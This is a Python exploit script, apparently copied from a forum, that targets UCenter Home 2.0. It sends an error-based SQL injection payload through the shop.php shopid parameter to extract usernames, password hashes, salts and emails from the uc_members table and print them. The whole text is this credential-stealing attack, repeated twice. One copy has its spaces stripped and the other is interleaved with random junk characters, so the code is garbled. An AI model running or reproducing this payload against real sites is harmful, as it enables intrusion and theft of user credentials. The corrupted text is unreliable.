#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
+ J1 @) D, G I9 X/ J" X
4 y, g7 V j0 k& c9 W0 s/ Y. g
! Q, E) S. F- H7 G6 ]#!/usr/bin/env python $ b4 ?6 }/ Q$ e( v, z0 V* x
; \( t9 E2 m3 oimport sys
1 v) |' F7 O; z' Cimport urllib2 " E5 q; P$ z1 z% f+ K+ Z2 J1 ~
import re 5 P" W& M, z3 p1 ~! C. L6 Q2 [- o
% I8 H1 \- ~! ~& `def info(): ! u2 b$ s& O% U% y5 @3 n" R
print 'From:http://www.exploit-db.com/exploits/14997/' ' r: @- S+ t# |, s
print 'http://www.hake.cc/Web_loudong/'
6 y8 o; y9 }$ Q1 h( X0 ~ print 'changed:qiaoy' 5 v! k" _- f7 c, E3 W
print 'exp:'
5 F: ~# p3 w' z" o print ' ./UCenter_Home_2.0.py site'
$ U( j5 B m/ H8 c( ~8 h
2 Z2 m8 V! t+ J4 ydef main(): ; F' b# M/ ^( P; }! m9 r
if len(sys.argv) != 2: ' o4 U9 Z* r- g5 u! D- |- P7 D
info() . {' j! e" B% g5 {) w
else: 7 R2 S2 f# a# D5 `. ], n* @* L" W0 r4 O! C
site = sys.argv[1] 6 @' X# P" L+ j9 S4 Z
if site[0:7] == 'http://': 0 E- h, z$ G% X8 Y$ D
sitesite =site
! S- m7 Z; [4 \: F5 R. M elif site[0:8] == 'https://':
. y, W2 d- {, V5 | sitesite = site , N1 d/ { r& T/ Q2 n5 b$ h
else: . X, M# N8 H$ p; h9 K u3 e+ H" L
site = 'http://'+site & }( j) ?: N" v( A
try: 3 d i* J3 d2 Z% f
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
/ l6 |1 e3 {' E+ q# ]- ^! C Value = urllib2.urlopen(url).read() : [7 Y8 n% w2 W* Y% h3 _
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
3 T! Q' ]8 a4 l* M1 _ hacked = Msg.split(':')
# p3 G4 ~6 ]6 z: n6 ]! W print 'Name: '+hacked[1]
! _$ S+ W9 l) C7 g6 G. G& A5 c print 'Passwd: '+hacked[2] 2 d' _8 w4 D6 J# S3 C
print 'salt: '+hacked[3] * d" c, |6 `6 |
print 'email: '+hacked[4]
; @3 r8 h2 C( T except:
& k- g4 @& o3 s- N) o+ ^ print 'Sorry,I can\'t work............' " f8 Z! y, s+ m" L& i4 t
- _ K% R3 _, b0 C @9 wif __name__ == '__main__': ' J. _" a* ~" b; u4 p0 ^" I' k/ Z
main() |